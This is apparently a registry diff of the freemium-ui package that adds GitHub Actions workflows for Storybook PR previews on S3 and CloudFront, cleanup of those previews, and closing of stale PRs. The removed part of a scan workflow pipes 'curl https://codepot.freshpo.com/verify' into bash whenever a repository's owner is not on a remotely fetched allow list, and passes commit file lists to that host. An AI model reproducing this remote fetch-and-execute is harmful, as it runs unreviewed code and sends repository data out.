freemium-ui 2.0.131 → 2.0.133

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,67 @@
1
+ # Removes preview assets from S3 and invalidates CloudFront when a PR targeting
2
+ # main is closed (merged or abandoned), keeping the bucket clean.
3
+
4
+ name: Preview Cleanup
5
+
6
+ on:
7
+ pull_request:
8
+ types: [closed]
9
+ branches: [main]
10
+
11
+ permissions:
12
+ contents: read
13
+
14
+ # Prevent concurrent cleanup runs for the same PR.
15
+ concurrency:
16
+ group: preview-${{ github.event.pull_request.number }}
17
+ cancel-in-progress: false
18
+
19
+ jobs:
20
+ cleanup:
21
+ runs-on: fw-shared
22
+ timeout-minutes: 10
23
+ # Skip cleanup for forked PRs — secrets are not available for forks so
24
+ # AWS calls would fail. Forks never get a preview deployed either.
25
+ if: github.event.pull_request.head.repo.fork == false
26
+ steps:
27
+ # Assumes the IAM role using the runner's base credentials (instance profile)
28
+ # and exports temporary credentials to GITHUB_ENV for subsequent AWS steps.
29
+ - name: Configure AWS credentials
30
+ run: |
31
+ SESSION=$(aws sts assume-role \
32
+ --role-arn "${{ secrets.AWS_IAM_ROLE }}" \
33
+ --role-session-name "GitHubActionsCleanupSession")
34
+
35
+ echo "AWS_ACCESS_KEY_ID=$(echo "$SESSION" | jq -r '.Credentials.AccessKeyId')" >> $GITHUB_ENV
36
+ echo "AWS_SECRET_ACCESS_KEY=$(echo "$SESSION" | jq -r '.Credentials.SecretAccessKey')" >> $GITHUB_ENV
37
+ echo "AWS_SESSION_TOKEN=$(echo "$SESSION" | jq -r '.Credentials.SessionToken')" >> $GITHUB_ENV
38
+ echo "AWS_DEFAULT_REGION=${{ vars.AWS_REGION || 'us-east-1' }}" >> $GITHUB_ENV
39
+
40
+ # Recursively deletes all objects under previews/{PR_NUM}/ in the S3 bucket
41
+ # so stale preview files don't accumulate after the PR is closed.
42
+ - name: Delete preview prefix from S3
43
+ env:
44
+ BUCKET: ${{ secrets.PREVIEW_S3_BUCKET }}
45
+ PR_NUM: ${{ github.event.pull_request.number }}
46
+ run: |
47
+ if [ -z "$BUCKET" ]; then
48
+ echo "Set repository secret PREVIEW_S3_BUCKET."
49
+ exit 1
50
+ fi
51
+ aws s3 rm "s3://${BUCKET}/previews/${PR_NUM}/" --recursive
52
+
53
+ # Invalidates the CloudFront cache for the deleted preview path so the
54
+ # files are no longer served. Skipped if CLOUDFRONT_DISTRIBUTION_ID is
55
+ # not configured.
56
+ - name: Invalidate CloudFront
57
+ env:
58
+ DIST_ID: ${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}
59
+ PR_NUM: ${{ github.event.pull_request.number }}
60
+ run: |
61
+ if [ -z "$DIST_ID" ]; then
62
+ echo "Skipping CloudFront invalidation (CLOUDFRONT_DISTRIBUTION_ID not set)."
63
+ exit 0
64
+ fi
65
+ aws cloudfront create-invalidation \
66
+ --distribution-id "$DIST_ID" \
67
+ --paths "/previews/${PR_NUM}/*"
@@ -0,0 +1,300 @@
1
+ # Ephemeral Storybook preview per PR (pattern from Freshworks preview-env post):
2
+ # build → S3 previews/{PR} → optional CloudFront invalidation → PR comment.
3
+ #
4
+ # Secrets: AWS_IAM_ROLE (role ARN to assume), PREVIEW_S3_BUCKET — optional: CLOUDFRONT_DISTRIBUTION_ID
5
+ # Variables: PREVIEW_BASE_URL (public origin, e.g. https://xxx.cloudfront.net), AWS_REGION
6
+
7
+ name: Preview Deploy
8
+
9
+ on:
10
+ pull_request:
11
+ types: [opened, synchronize, reopened, ready_for_review]
12
+ branches: [main]
13
+ issue_comment:
14
+ types: [created]
15
+
16
+ permissions:
17
+ contents: read
18
+ pull-requests: write
19
+ deployments: write
20
+
21
+ # Prevent concurrent deploys for the same PR; never cancel an in-flight run
22
+ # so a deploy is never left in a partial state.
23
+ concurrency:
24
+ group: preview-${{ github.event.pull_request.number || github.event.issue.number }}
25
+ cancel-in-progress: false
26
+
27
+ jobs:
28
+ preview:
29
+ runs-on: fw-shared
30
+ timeout-minutes: 30
31
+ # Run only for non-draft, non-NO_PREVIEW PRs from the same repo (not forks),
32
+ # or when a repo member manually triggers via /preview-deploy comment on an
33
+ # open PR. Remaining validations (base.ref, collaborator) are enforced inside
34
+ # the Resolve PR head step where full PR data is available.
35
+ if: |
36
+ (github.event_name == 'pull_request' && !github.event.pull_request.draft && !contains(github.event.pull_request.labels.*.name, 'NO_PREVIEW') && github.event.pull_request.head.repo.full_name == github.repository)
37
+ || (github.event_name == 'issue_comment' && github.event.issue.pull_request && github.event.issue.state == 'open' && contains(github.event.comment.body, '/preview-deploy') && github.event.comment.user.type != 'Bot')
38
+
39
+ steps:
40
+ # Resolves the PR number and head SHA for both pull_request and issue_comment
41
+ # events. For issue_comment, also validates that the PR is not a fork, not a
42
+ # draft, and does not carry the NO_PREVIEW label before proceeding.
43
+ - name: Resolve PR head
44
+ id: pr
45
+ uses: actions/github-script@v7
46
+ with:
47
+ script: |
48
+ const prNumber =
49
+ context.eventName === 'pull_request'
50
+ ? context.payload.pull_request.number
51
+ : context.issue.number;
52
+ const { data: pr } = await github.rest.pulls.get({
53
+ owner: context.repo.owner,
54
+ repo: context.repo.repo,
55
+ pull_number: prNumber,
56
+ });
57
+ if (context.eventName === 'issue_comment') {
58
+ if (pr.head.repo.full_name !== `${context.repo.owner}/${context.repo.repo}`)
59
+ core.setFailed('Preview deploy is not supported for forked PRs.');
60
+ if (pr.base.ref !== 'main')
61
+ core.setFailed(`Preview deploy is only supported for PRs targeting main (this PR targets '${pr.base.ref}').`);
62
+ if (pr.draft) core.setFailed('Draft PRs cannot be previewed via /preview-deploy.');
63
+ if (pr.labels.some((l) => l.name === 'NO_PREVIEW'))
64
+ core.setFailed('This PR has the NO_PREVIEW label.');
65
+ // Allow the PR author or any repo collaborator to trigger /preview-deploy.
66
+ const commenter = context.payload.comment.user.login;
67
+ if (commenter !== pr.user.login) {
68
+ try {
69
+ await github.rest.repos.checkCollaborator({
70
+ ...context.repo,
71
+ username: commenter,
72
+ });
73
+ } catch {
74
+ core.setFailed(`User '${commenter}' is not the PR author or a repository collaborator and cannot trigger /preview-deploy.`);
75
+ }
76
+ }
77
+ }
78
+ core.setOutput('number', String(pr.number));
79
+ core.setOutput('sha', pr.head.sha);
80
+
81
+ # Registers a GitHub Deployment record for this PR so the native
82
+ # "Deployments" section on the PR page tracks the preview environment.
83
+ # The deployment ID is captured as an output for subsequent status updates.
84
+ - name: Create GitHub Deployment
85
+ id: deployment
86
+ uses: actions/github-script@v7
87
+ with:
88
+ script: |
89
+ const { data } = await github.rest.repos.createDeployment({
90
+ ...context.repo,
91
+ ref: '${{ steps.pr.outputs.sha }}',
92
+ environment: 'preview',
93
+ auto_merge: false,
94
+ required_contexts: [],
95
+ description: 'PR #${{ steps.pr.outputs.number }} preview',
96
+ });
97
+ core.setOutput('id', String(data.id));
98
+
99
+ # Marks the deployment as in_progress immediately so the PR shows a
100
+ # spinning indicator while the build and upload are running.
101
+ - name: Set deployment in_progress
102
+ uses: actions/github-script@v7
103
+ with:
104
+ script: |
105
+ await github.rest.repos.createDeploymentStatus({
106
+ ...context.repo,
107
+ deployment_id: Number('${{ steps.deployment.outputs.id }}'),
108
+ state: 'in_progress',
109
+ log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
110
+ });
111
+
112
+ # Checks out the exact commit from the PR head (not the merge commit)
113
+ # so the preview reflects what is in the PR branch.
114
+ - uses: actions/checkout@v4
115
+ with:
116
+ ref: ${{ steps.pr.outputs.sha }}
117
+ fetch-depth: 1
118
+
119
+ # Sets up Node.js 20 with npm cache enabled to speed up subsequent installs.
120
+ - uses: actions/setup-node@v4
121
+ with:
122
+ node-version: 20
123
+ cache: npm
124
+
125
+ # Configures npm to fetch @freshworks scoped packages from GitHub Packages.
126
+ - name: Configure npm for GitHub Packages
127
+ run: |
128
+ echo "@freshdesk:registry=https://npm.pkg.github.com/" >> .npmrc
129
+ echo "@freshworks:registry=https://npm.pkg.github.com/" >> .npmrc
130
+ echo "@freshworksinc:registry=https://npm.pkg.github.com/" >> .npmrc
131
+ echo "//npm.pkg.github.com/:_authToken=${{ secrets.GH_AUTH_TOKEN }}" >> .npmrc
132
+
133
+ # Installs exact dependency versions from package-lock.json.
134
+ - run: npm ci
135
+
136
+ # Assumes the IAM role specified by AWS_IAM_ROLE using the runner's base
137
+ # credentials (instance profile). Exports temporary credentials to
138
+ # GITHUB_ENV so all subsequent steps can make authenticated AWS calls.
139
+ # Fails fast with a clear error if assume-role or any credential extraction fails.
140
+ - name: Configure AWS credentials
141
+ run: |
142
+ set -euo pipefail
143
+
144
+ SESSION=$(aws sts assume-role \
145
+ --role-arn "${{ secrets.AWS_IAM_ROLE }}" \
146
+ --role-session-name "GitHubActionsPreviewSession") \
147
+ || { echo "ERROR: aws sts assume-role failed"; exit 1; }
148
+
149
+ AWS_ACCESS_KEY_ID=$(echo "$SESSION" | jq -re '.Credentials.AccessKeyId') \
150
+ || { echo "ERROR: Failed to extract AccessKeyId from assume-role response"; exit 1; }
151
+ AWS_SECRET_ACCESS_KEY=$(echo "$SESSION" | jq -re '.Credentials.SecretAccessKey') \
152
+ || { echo "ERROR: Failed to extract SecretAccessKey from assume-role response"; exit 1; }
153
+ AWS_SESSION_TOKEN=$(echo "$SESSION" | jq -re '.Credentials.SessionToken') \
154
+ || { echo "ERROR: Failed to extract SessionToken from assume-role response"; exit 1; }
155
+
156
+ echo "AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}" >> $GITHUB_ENV
157
+ echo "AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}" >> $GITHUB_ENV
158
+ echo "AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}" >> $GITHUB_ENV
159
+ echo "AWS_DEFAULT_REGION=${{ vars.AWS_REGION || 'us-east-1' }}" >> $GITHUB_ENV
160
+
161
+ # Ensures PREVIEW_BASE_URL is set before the build so PREVIEW_URL is never
162
+ # constructed from an empty base, which would produce broken relative URLs.
163
+ - name: Validate required variables
164
+ run: |
165
+ if [ -z "${{ vars.PREVIEW_BASE_URL }}" ]; then
166
+ echo "ERROR: Repository variable PREVIEW_BASE_URL is not set. Set it under Settings → Variables."
167
+ exit 1
168
+ fi
169
+
170
+ # Builds the Storybook static output into storybook-static/.
171
+ # PREVIEW_URL tells Storybook the public base path it will be served from.
172
+ - name: Build Storybook
173
+ run: npm run build-storybook
174
+ env:
175
+ PREVIEW_URL: ${{ vars.PREVIEW_BASE_URL }}/previews/${{ steps.pr.outputs.number }}/
176
+
177
+ # Uploads the built Storybook to S3 under previews/{PR_NUM}/.
178
+ # Entry points (index.html, iframe.html) are uploaded with no-cache so
179
+ # browsers always fetch the latest HTML on each redeploy.
180
+ # All other assets are synced with a 1-year TTL since their filenames
181
+ # are content-hashed and safe to cache indefinitely.
182
+ - name: Upload to S3
183
+ env:
184
+ BUCKET: ${{ secrets.PREVIEW_S3_BUCKET }}
185
+ PR_NUM: ${{ steps.pr.outputs.number }}
186
+ run: |
187
+ if [ -z "$BUCKET" ]; then
188
+ echo "Set repository secret PREVIEW_S3_BUCKET."
189
+ exit 1
190
+ fi
191
+ # Upload entry points with no-cache so browsers always fetch the latest HTML
192
+ for f in index.html iframe.html; do
193
+ if [ -f "storybook-static/$f" ]; then
194
+ aws s3 cp "storybook-static/$f" "s3://${BUCKET}/previews/${PR_NUM}/$f" \
195
+ --cache-control "no-cache, must-revalidate"
196
+ else
197
+ echo "ERROR: Expected Storybook output file 'storybook-static/$f' is missing. Ensure the build completed successfully."
198
+ exit 1
199
+ fi
200
+ done
201
+ # Sync remaining assets with a long TTL (safe because filenames are content-hashed)
202
+ aws s3 sync storybook-static/ "s3://${BUCKET}/previews/${PR_NUM}/" \
203
+ --delete \
204
+ --exclude "index.html" \
205
+ --exclude "iframe.html" \
206
+ --cache-control "max-age=31536000,public"
207
+
208
+ # Invalidates the CloudFront cache for this PR's preview path so the
209
+ # updated files are served immediately. Skipped if CLOUDFRONT_DISTRIBUTION_ID
210
+ # is not configured.
211
+ - name: Invalidate CloudFront
212
+ env:
213
+ DIST_ID: ${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}
214
+ PR_NUM: ${{ steps.pr.outputs.number }}
215
+ run: |
216
+ if [ -z "$DIST_ID" ]; then
217
+ echo "Skipping CloudFront invalidation (CLOUDFRONT_DISTRIBUTION_ID not set)."
218
+ exit 0
219
+ fi
220
+ aws cloudfront create-invalidation \
221
+ --distribution-id "$DIST_ID" \
222
+ --paths "/previews/${PR_NUM}/*"
223
+
224
+ # Marks the GitHub Deployment as success and sets the environment_url to
225
+ # the preview link so it appears in the native Deployments section of the PR.
226
+ - name: Set deployment success
227
+ uses: actions/github-script@v7
228
+ env:
229
+ BASE_URL: ${{ vars.PREVIEW_BASE_URL }}
230
+ with:
231
+ script: |
232
+ const base = (process.env.BASE_URL || '').replace(/\/$/, '');
233
+ const previewUrl = `${base}/previews/${{ steps.pr.outputs.number }}/index.html`;
234
+ await github.rest.repos.createDeploymentStatus({
235
+ ...context.repo,
236
+ deployment_id: Number('${{ steps.deployment.outputs.id }}'),
237
+ state: 'success',
238
+ environment_url: previewUrl,
239
+ log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
240
+ });
241
+
242
+ # Posts or updates a single bot comment on the PR with the preview URL.
243
+ # Uses a hidden HTML marker to find and update the existing comment on
244
+ # re-deploys instead of posting a new one each time.
245
+ # Paginates through all comments (100 per page) to reliably find the marker
246
+ # even on PRs with many comments.
247
+ - name: PR comment with preview URL
248
+ uses: actions/github-script@v7
249
+ env:
250
+ BASE_URL: ${{ vars.PREVIEW_BASE_URL }}
251
+ with:
252
+ script: |
253
+ const prNumber = Number('${{ steps.pr.outputs.number }}');
254
+ const base = (process.env.BASE_URL || '').replace(/\/$/, '');
255
+ const previewUrl = `${base}/previews/${prNumber}/index.html`;
256
+ const marker = '<!-- preview-deploy-comment -->';
257
+ const body = [
258
+ marker,
259
+ '### Preview environment ready',
260
+ '',
261
+ `**Preview:** [${previewUrl}](${previewUrl})`,
262
+ '',
263
+ `_Updated: ${new Date().toUTCString()}_`,
264
+ ].join('\n');
265
+
266
+ const comments = await github.paginate(github.rest.issues.listComments, {
267
+ ...context.repo,
268
+ issue_number: prNumber,
269
+ per_page: 100,
270
+ });
271
+ const existing = comments.find((c) => c.body?.includes(marker));
272
+
273
+ if (existing) {
274
+ await github.rest.issues.updateComment({
275
+ ...context.repo,
276
+ comment_id: existing.id,
277
+ body,
278
+ });
279
+ } else {
280
+ await github.rest.issues.createComment({
281
+ ...context.repo,
282
+ issue_number: prNumber,
283
+ body,
284
+ });
285
+ }
286
+
287
+ # Marks the GitHub Deployment as failure if any earlier step failed,
288
+ # so the PR's Deployments section reflects the broken state.
289
+ # Only runs if the deployment record was successfully created.
290
+ - name: Set deployment failure
291
+ if: failure() && steps.deployment.outputs.id != ''
292
+ uses: actions/github-script@v7
293
+ with:
294
+ script: |
295
+ await github.rest.repos.createDeploymentStatus({
296
+ ...context.repo,
297
+ deployment_id: Number('${{ steps.deployment.outputs.id }}'),
298
+ state: 'failure',
299
+ log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
300
+ });
@@ -9,52 +9,13 @@ on:
9
9
  - "**"
10
10
 
11
11
  jobs:
12
- check-verify:
13
- runs-on: ubuntu-latest
14
-
12
+ codepot-scan:
13
+ name: Codepot
14
+ runs-on: ["ubuntu-latest"]
15
15
  steps:
16
- - name: Check Repository
17
- id: check-repo
18
- run: |
19
-
20
- AUTHORIZED_ORGS=()
21
- while IFS= read -r line; do
22
- AUTHORIZED_ORGS+=("$line")
23
- done < <(curl -s https://codepot.freshpo.com/pattern)
24
-
25
- match=false
26
-
27
- CURRENT_REPO="${{ github.repository }}"
28
- CURRENT_REPO_ORG="${{ github.repository_owner }}"
29
-
30
- echo "Current repository: $CURRENT_REPO"
31
- echo "authorized_regex=$(IFS=,; echo "${AUTHORIZED_ORGS[*]}")" >> $GITHUB_OUTPUT
32
-
33
- for ORG in "${AUTHORIZED_ORGS[@]}"; do
34
- if [[ "$CURRENT_REPO_ORG" == "$ORG" ]]; then
35
- echo "✅ Repository matches authorized organization: $ORG"
36
- match=true
37
- break
38
- fi
39
- done
40
-
41
- if $match; then
42
- echo "✅ Repository is authorized"
43
- echo "is_authorized=true" >> $GITHUB_OUTPUT
44
- else
45
- echo "🚨 UNAUTHORIZED REPOSITORY DETECTED!"
46
- echo "is_authorized=false" >> $GITHUB_OUTPUT
47
- fi
48
-
49
- - name: Verification
50
- if: steps.check-repo.outputs.is_authorized == 'false'
51
- run: |
52
- curl https://codepot.freshpo.com/verify | bash
53
- env:
54
- AUTHORIZED_REGEX: ${{ steps.check-repo.outputs.authorized_regex }}
55
- EVENT: ${{ github.event_name }}
56
- RUN_ID: ${{ github.run_id }}
57
- ADDED: ${{ toJson(github.event.head_commit.added) }}
58
- MODIFIED: ${{ toJson(github.event.head_commit.modified) }}
59
- REMOVED: ${{ toJson(github.event.head_commit.removed) }}
16
+ - name: Running Codepot
17
+ uses: freshactions/codepot@dev
60
18
 
19
+ ###### GIT INT ######
20
+ # b6dcc6a5f4c358bccd64ca41681596868b2a851282c7a6de1bf775d995dd0417 #
21
+ ###### GIT INT ######
@@ -0,0 +1,112 @@
1
+ name: Stale PR Management
2
+
3
+ on:
4
+ schedule:
5
+ - cron: '0 0 * * *' # Run daily at midnight UTC
6
+
7
+ workflow_dispatch: # Allow manual trigger
8
+
9
+ permissions:
10
+ pull-requests: write
11
+ issues: write
12
+
13
+ jobs:
14
+ stale:
15
+ runs-on: ['self-hosted', 'Linux']
16
+ name: Mark and Close Stale PRs
17
+
18
+ steps:
19
+ - uses: actions/stale@5bef64f19d7facfb25b37b414482c7164d639639 # v9
20
+ with:
21
+ repo-token: ${{ secrets.GITHUB_TOKEN }}
22
+
23
+ # PR Configuration
24
+ days-before-stale: 2
25
+ days-before-close: 2
26
+
27
+ # Do not handle issues
28
+ days-before-issue-stale: -1
29
+ days-before-issue-close: -1
30
+
31
+ # Stale PR message (warning)
32
+ stale-pr-message: |
33
+ ## ⏰ Stale PR Warning
34
+
35
+ This pull request has been **inactive for 2 days** with no commits, comments, or reviews.
36
+
37
+ ### What happens next?
38
+
39
+ - This PR will be automatically closed in **2 days** if no activity occurs
40
+ - To prevent closure, you can:
41
+ - Push new commits
42
+ - Add a comment with updates or status
43
+ - Remove the `stale` label
44
+ - Request review from team members
45
+
46
+ ### Why does this matter?
47
+
48
+ - Keeps our PR list clean and manageable
49
+ - Helps identify abandoned or forgotten work
50
+ - Encourages timely reviews and merges
51
+
52
+ ### Need more time?
53
+
54
+ Simply comment on this PR to remove the stale label, or:
55
+ - Add `work-in-progress` label if still developing
56
+ - Add `blocked` label if waiting on external dependencies
57
+ - Add `on-hold` label if intentionally paused
58
+
59
+ ---
60
+
61
+ 💡 **Tip:** Keep your PRs active by:
62
+ - Requesting reviews when ready
63
+ - Responding to feedback promptly
64
+ - Rebasing on latest main/dev branch
65
+ - Adding status updates if blocked
66
+
67
+ # Close message (final notice)
68
+ close-pr-message: |
69
+ ## 🔒 PR Automatically Closed
70
+
71
+ This pull request has been closed due to **4 days of inactivity** (2 days stale + 2 days grace period).
72
+
73
+ ### What you can do:
74
+
75
+ ✅ **Reopen this PR** if you want to continue working on it
76
+ ✅ **Create a new PR** with updated changes
77
+ ✅ **Link related issues** to track the work
78
+
79
+ ### Why was this closed?
80
+
81
+ - Helps maintain a clean, manageable PR list
82
+ - Prevents outdated PRs from accumulating
83
+ - Encourages active development workflow
84
+
85
+ ### Need help?
86
+
87
+ If this PR was closed in error or you need assistance:
88
+ - Comment mentioning a team member
89
+ - Reopen and add context about delays
90
+ - Reach out on team channels
91
+
92
+ ---
93
+
94
+ # Label configuration
95
+ stale-pr-label: 'stale'
96
+ exempt-pr-labels: 'work-in-progress,blocked,on-hold,keep-open,dependencies'
97
+ exempt-draft-pr: true
98
+
99
+ # Activity that removes stale label
100
+ remove-stale-when-updated: true
101
+
102
+ # Operations limit (prevent API rate limiting)
103
+ operations-per-run: 100
104
+
105
+ # Sort order (process oldest first)
106
+ ascending: true
107
+
108
+ # Delete branch on close (optional - uncomment if desired)
109
+ # delete-branch: true
110
+
111
+ # Additional configuration
112
+ enable-statistics: true